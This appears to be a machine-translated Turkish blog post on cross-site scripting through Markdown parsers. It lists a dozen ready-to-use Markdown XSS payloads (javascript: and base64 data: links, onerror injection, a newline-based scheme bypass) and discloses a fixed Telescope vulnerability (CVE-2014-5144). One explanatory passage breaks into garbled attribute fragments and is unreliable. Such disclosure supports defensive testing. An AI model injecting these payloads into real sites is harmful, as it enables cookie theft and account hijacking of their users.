Markdown Sözdiziminden İstismar
Markdown harika. Aslında, bu blog yazısının kendisi Markdown’da yazılmıştır. Gibi basit şeyler için uzun süredir devamsız HTML kullanmam gerekmiyor Bağlantılar, tablolar, code blocks
ve listeler. Ne de kelimeler yapmak gibi metinlerle basit şeyler yapmak için yolumdan çıkmam gerekmiyor gözü pek veya italik. Son beş yılda Markdown büyük bir ilgi gördü. Şimdi Reddit, GitHub, StackOverflow ve daha fazlası tarafından kullanılmaktadır. Buna ek olarak, Markdown’un yeni uygulamalarda Start UPS tarafından itildiği gibi daha popüler hale geliyor. Bu hareketin yanı sıra, yıllar boyunca çok sayıda Markdown ayrıştırma kütüphanesi yayınlandı.
Markdown için resmi olmayan/genel özelliklere göz atarak, Markdown’un sağladığı geniş bir sözdizimi ve daha sonra Sözdizimi önerir ve daha sonra ayrıştırılan ve Markdown Parsers tarafından HTML’ye dönüştürülen sözdizimi.
Ne yazık ki veya neyse ki (insanların ona bakma biçiminde), Markdown’un işlenmesi ve ayrıştırılması gerektiği konusunda bir standardizasyon yoktur. Bu tamamen Markdown ayrıştırma kütüphanesinin geliştiricisine bırakılmıştır. Daha önce de belirtildiği gibi, bu tür ayrıştırma için çok sayıda kütüphane olması nedeniyle, sanitasyon konusunda çok önemli bir karar verilmelidir. Bu:
Markdown kütüphanesi sanitasyon yapmalı mı, yoksa sanitasyon işi kütüphanenin sorumluluğu olmamalı mı?
Bununla birlikte, çoğu kütüphanenin, Markdown ayrılışçısına verilen kullanıcı girdisini dezenfekte etmek için sağlam bir temel sağlamadığı görülmektedir. Mantıksal olarak, Markdown’un genellikle nerede kullanıldığını düşünürsek: yani yorumlar ve kullanıcı içeriği, Markdown kütüphanelerinde sanitasyon eksikliğinin, geliştiricilerin Markdown’u kullanmalarını sağlayabileceğini hızlı bir şekilde anlıyoruz. Hala Kullanıcı girişini manuel olarak sterilize etmeniz ve doğrulamanız gerekir. Referans olarak, bu konuda bazı tartışmalar var: [1]- [2]- [3].
Ayrıca, Google’da basit bir arama yaparsanız: markdown xss issue site:github.com
– Çok sayıda geçerli sonuç elde edersiniz. Bu tür sorunlarla bulunan bazı repo’lar, 10 yıldızdan az, 12 bin yıldıza sahip olmaktan değişmektedir.
Peki, Markdown Parsers’dan yararlanmaya ne dersiniz? Sorun değil.
Lütfen aşağıdaki vektörlere bakın:
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
Bu vektörler başlangıçta arkadaşım Aleksa ve kendim tarafından, Markdown’u aktif olarak kullanan hizmetler üzerinde işaretle ilgili güvenlik açıklarını kontrol etmek için geliştirildi. Son 12 ay boyunca, yukarıdaki Markown sömürü vektörlerinin pentestlerde ve genel böcek avlarında son derece başarılı oldukları kanıtlanmıştır.
Yukarıdaki vektörler kenar vakalarını hedeflemektedir ve Markdown kütüphanelerinin çoğunluğu hala savunmasızdır. Örneğin, bu listedeki son vektöre bir göz atalım:
[test](javascript://%0d%0aprompt(1);com)
Öyleyse, bunun bir bağlantıyı doğrulamaya çalışırken bir Markdown ayrıştırıcısının mantığı olduğunu düşünelim:
- Bağlantının bir şeması var mı? Evet.
javascript://
- Bağlantı bilinen bir sonla bitiyor mu (com, org, vb.)? Evet.
com
- Bu nedenle, HTML’ye dönüştürelim!
test
Yukarıdaki bağlantı, tıklamada yeni çizgi kontrol karakterlerinden (%0D%0A) sonra getirilen yükü yürütür. XSS vektörümüzü bir bağlantı gibi görünen bir şeye başarıyla yerleştirebildik, ancak gerçekten “t. =” The = “” “vector =” “yukarıya =” “yukarıya =” “” Most = “” çoğu = “” “etkin =” “on =” “parsers =” “what =” “use =” “rahatlatma =” “” regex = “to =” “doğrulama =” . = “”>>
Teleskop Markdown aracılığıyla kalıcı XSS (CVE-2014-5144)
Teleskop, Reddit ve Hackneterws’e benzer topluluklar oluşturmak ve işletmek için yazılım (meteor.js üzerine inşa edilmiş) sağlamayı amaçlayan parlak bir açık kaynak projesidir. Uzun zamandır teleskopla ilgili bir özelliğin (yorumlar ve iş parçacıkları için Markdown ayrıştırma), site komut dosyası çapraz komut dosyasına karşı savunmasız olduğu bulunmuştur.
Özellikle, teleskop sürümlerinde, 0.9.3’ten önce, yukarıdaki listemden basit bir XSS vektörü, yorumlara veya iş parçacıklarına keyfi JavaScript yerleştirmek için kullanılabilir. Bu düzeltildi ve bundan bahsedilen değişiklik günlüğünde bir söz bulabilirsiniz: http://www.telesc.pe/blog/telescope-v093-dailyscope/
Bu güvenlik açığından yararlanmak için kullanılan vektörler:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
Not: Bu istismar teleskopun tüm sürümlerinde düzeltilmiştir> = 0.9.3.
Markdown sömürüsü için daha fazla vektör bulursanız, burada bulunan küçük kötü repo’umuza katkıda bulunmaktan çekinmeyin.